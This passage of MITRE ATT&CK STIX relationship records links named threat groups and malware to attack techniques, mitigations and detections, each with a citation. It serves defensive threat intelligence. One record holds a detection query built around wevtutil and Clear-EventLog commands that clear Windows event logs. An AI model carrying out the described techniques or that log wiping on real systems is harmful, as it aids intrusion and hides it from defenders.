"relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gazer Aug 2017", "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"}], "modified": "2019-07-14T21:04:44.978Z", "description": "Based on comparison of [Gazer](https://attack.mitre.org/software/S0168) versions, [Turla](https://attack.mitre.org/groups/G0010) made an effort to obfuscate strings in the malware that could be used as IoCs, including the mutex name and named pipe.(Citation: ESET Gazer Aug 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fea6e347-95f5-4d97-8781-4cc15d6b5b0c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Baumgartner Naikon 2015", "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}], "modified": "2019-05-03T16:44:41.817Z", "description": "[Sys10](https://attack.mitre.org/software/S0060) collects the account name of the logged-in user and sends it to the C2.(Citation: Baumgartner Naikon 2015)", "relationship_type": "uses", "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--fea72867-7ceb-4545-b138-1cef9cac24ba", "created": "2022-08-09T13:02:23.854Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Scan public code repositories for exposed credentials or other sensitive information before making commits. Ensure that any leaked credentials are removed from the commit history, not just the current latest version of the code.", "modified": "2022-08-09T13:02:23.854Z", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--70910fbd-58dc-4c1c-8c48-814d11fcd022", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--fea9df26-2ff4-4fa4-8306-f10af6cdd7cd", "created": "2021-01-04T20:42:22.252Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "ESET Industroyer", "url": "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", "description": "Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Industroyer](https://attack.mitre.org/software/S0604) uses heavily obfuscated code in its Windows Notepad backdoor.(Citation: ESET Industroyer)", "modified": "2022-06-30T20:16:53.769Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--e401d4fe-f0c9-44f0-98e6-f93487678808", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--feb29d58-b733-47a4-9d56-8d45b36f0978", "created": "2022-03-30T14:26:51.857Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Cisco IOS Software Integrity Assurance - Image File Verification", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."}, {"source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Most embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with\u00a0 [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file.\n\nCompare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.\u00a0(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system.\u00a0 (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)", "modified": "2022-04-20T12:32:55.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--feb5dda0-1300-4e5b-9372-7d6b4d5473f3", "created": "2022-08-07T15:07:19.450Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes SideCopy Dec 2021", "url": "https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure", "description": "Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Action RAT](https://attack.mitre.org/software/S1028) can use `cmd.exe` to execute commands on an infected host.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-24T16:10:39.853Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--36801ffb-5c85-4c50-9121-6122e389366d", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--febaa044-5467-4393-bd13-2d096be02cf4", "type": "relationship", "created": "2020-03-02T20:07:18.718Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-02T20:07:18.718Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3", "target_ref": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--febbf503-d7e5-4896-90b9-35b6a811b19b", "type": "relationship", "created": "2018-01-16T21:43:14.128Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf", "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.", "source_name": "APT3 Adversary Emulation Plan"}], "modified": "2019-04-29T18:01:20.575Z", "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to remove indicators of compromise from tools.(Citation: APT3 Adversary Emulation Plan)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--febc7399-bbee-4a97-b5a1-d2d9cf5ba9fc", "type": "relationship", "created": "2021-10-08T14:20:51.422Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Checkpoint IndigoZebra July 2021", "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}], "modified": "2021-10-08T14:20:51.422Z", "description": "[IndigoZebra](https://attack.mitre.org/groups/G0136) has downloaded additional files and tools from its C2 server.(Citation: Checkpoint IndigoZebra July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--febe1cf5-d8b5-4218-b32d-1e9ea10eab7f", "created": "2021-09-08T17:40:26.535Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender Sardonic Aug 2021", "description": "Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}, {"source_name": "Bitdefender FIN8 July 2021", "description": "Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.", "url": "https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T13:34:13.649Z", "description": "(Citation: Bitdefender FIN8 July 2021)(Citation: Bitdefender Sardonic Aug 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fec13b81-c639-4eaa-8d9f-75043a02f46a", "type": "relationship", "created": "2022-03-30T14:26:51.869Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.869Z", "description": "Monitor executed commands and arguments that may forge credential materials that can be used to gain access to web applications or Internet services.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--fecb150a-6c94-4e57-80d3-d9e8caffffe1", "created": "2022-03-30T14:26:51.842Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Splunk Kovar Certificates 2017", "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html", "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) , [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) , and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004) .", "modified": "2022-04-20T12:55:02.916Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", "target_ref": "attack-pattern--1cec9319-743b-4840-bb65-431547bce82a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--feccb439-0a34-4224-ba12-62e11215d5a5", "created": "2020-03-12T16:37:21.783Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "synack 2016 review", "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", "url": "https://objective-see.org/blog/blog_0x16.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-10T15:18:40.403Z", "description": "[Keydnap](https://attack.mitre.org/software/S0276) uses a Launch Agent to persist.(Citation: synack 2016 review)", "relationship_type": "uses", "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--feccce31-b855-430b-a0f6-6e3a3eb41bf9", "type": "relationship", "created": "2020-10-01T02:06:11.541Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-01T02:06:11.541Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970", "target_ref": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fed23938-8fbc-4b67-8452-f2f413eed291", "type": "relationship", "created": "2020-06-10T21:56:40.151Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Telebots Dec 2016", "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."}, {"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}], "modified": "2020-11-25T21:00:57.830Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has avoided detection by naming a malicious binary explorer.exe.(Citation: ESET Telebots Dec 2016)(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fed38133-26a9-44e3-b57d-9d415aaeaf84", "created": "2022-10-18T23:36:14.941Z", "revoked": false, "external_references": [{"source_name": "Microsoft Deep Dive Solorigate January 2021", "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . 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Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Amadey](https://attack.mitre.org/software/S1025) can identify the IP address of a victim machine.(Citation: BlackBerry Amadey 2020)", "modified": "2022-07-14T17:54:08.647Z", "relationship_type": "uses", "source_ref": "malware--05318127-5962-444b-b900-a9dcfe0ff6e9", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff0d8860-9790-4a15-93c7-17f01d63b2ad", "type": "relationship", "created": "2019-12-19T19:43:34.933Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2019-12-19T19:43:34.933Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada", "target_ref": "attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff10b414-cc17-4335-9030-1262e5401b39", "type": "relationship", "created": "2021-01-19T22:37:42.776Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec RAINDROP January 2021", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", "description": "Symantec Threat Hunter Team. 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Retrieved January 22, 2021."}], "modified": "2021-01-22T16:30:42.467Z", "description": "[Raindrop](https://attack.mitre.org/software/S0565) decrypted its [Cobalt Strike](https://attack.mitre.org/software/S0154) payload using an AES-256 encryption algorithm in CBC mode with a unique key per sample.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)", "relationship_type": "uses", "source_ref": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff14431c-bf82-44be-b12a-a65e88d5347a", "type": "relationship", "created": "2020-05-26T16:17:59.473Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Anomali Rocke March 2019", "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}], "modified": "2020-05-26T16:17:59.473Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106) has changed the time stamp of certain files.(Citation: Anomali Rocke March 2019)\t", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ff16b0d1-e77c-4985-85cb-842da787daf3", "created": "2022-04-08T18:29:35.467Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ClearSky Kittens Back 3 August 2020", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf", "description": "ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has conducted watering-hole attacks through media and magazine websites.(Citation: ClearSky Kittens Back 3 August 2020)", "modified": "2022-04-15T11:57:08.281Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ff16c592-9eae-4c27-97a5-444e148883cd", "created": "2023-10-06T12:58:36.828Z", "revoked": false, "external_references": [{"source_name": "Mandiant FIN13 Aug 2022", "description": "Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.", "url": "https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-06T12:58:36.828Z", "description": "[FIN13](https://attack.mitre.org/groups/G1016) has enumerated all users and their roles from a victim's main treasury system.(Citation: Mandiant FIN13 Aug 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4", "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ff207318-2a24-4f29-bc1a-552df8e671f7", "created": "2023-08-11T21:43:04.495Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:28:11.961Z", "description": "Monitor for newly executed processes that may clear Windows Event Logs to hide the activity of an intrusion. In an attempt to clear traces after compromising a machine, threat actors often try to clear Windows Event logs. This is often done using \u201cwevtutil\u201d, a legitimate tool provided by Microsoft. This action interferes with event collection and notification, and may lead to a security event going undetected, thereby potentially leading to further compromise of the network.\n\nNote: This search query looks for wevtutil, Clear-EventLog, Limit-EventLog, Remove-Item or Remove-EventLog inside a command that may cause the system to remove Windows Event logs.\n\nAnalytic 1 - Clearing Windows Logs with Wevtutil\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") (Image=*wevtutil* CommandLine=*cl* (CommandLine=*System* OR CommandLine=*Security* OR CommandLine=*Setup* OR CommandLine=*Application*) OR Clear-EventLog OR Limit-EventLog OR (Remove-Item AND .evtx) OR Remove-EventLog) </code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff2155fa-714d-4d99-a610-91ceb5f049ef", "type": "relationship", "created": "2020-03-11T14:28:40.164Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-11T14:28:40.164Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef", "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ff274d3e-584d-4c50-8262-185630017502", "created": "2023-02-15T20:34:29.202Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Palo Alto Brute Ratel July 2022", "description": "Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.", "url": "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}, {"source_name": "Trend Micro Black Basta October 2022", "description": "Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.", "url": "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-16T20:11:41.663Z", "description": "[Brute Ratel C4](https://attack.mitre.org/software/S1063) can use HTTPS and HTTPS for C2 communication.(Citation: Palo Alto Brute Ratel July 2022)(Citation: Trend Micro Black Basta October 2022)", "relationship_type": "uses", "source_ref": "tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff2b5737-6a87-4ffb-b61a-89d8f21615b1", "type": "relationship", "created": "2021-09-28T16:04:05.995Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kroll Qakbot June 2020", "url": "https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks", "description": "Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021."}, {"source_name": "Crowdstrike Qakbot October 2020", "url": "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", "description": "CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."}, {"source_name": "ATT QakBot April 2021", "url": "https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot", "description": "Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."}, {"source_name": "Group IB Ransomware September 2020", "url": "https://groupib.pathfactory.com/ransomware-reports/prolock_wp", "description": "Group IB. (2020, September). LOCK LIKE  A PRO. Retrieved September 27, 2021."}], "modified": "2021-10-13T18:28:38.986Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can delete folders and files including overwriting its executable with legitimate programs.(Citation: Kroll Qakbot June 2020)(Citation: Crowdstrike Qakbot October 2020)(Citation: ATT QakBot April 2021)(Citation: Group IB Ransomware September 2020)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ff2b7bc3-d6ca-488a-bdd5-1f2f27dfc8bd", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 QUADAGENT July 2018", "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}], "modified": "2020-03-28T21:38:48.111Z", "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) creates a scheduled task to maintain persistence on the victim\u2019s machine.(Citation: Unit 42 QUADAGENT July 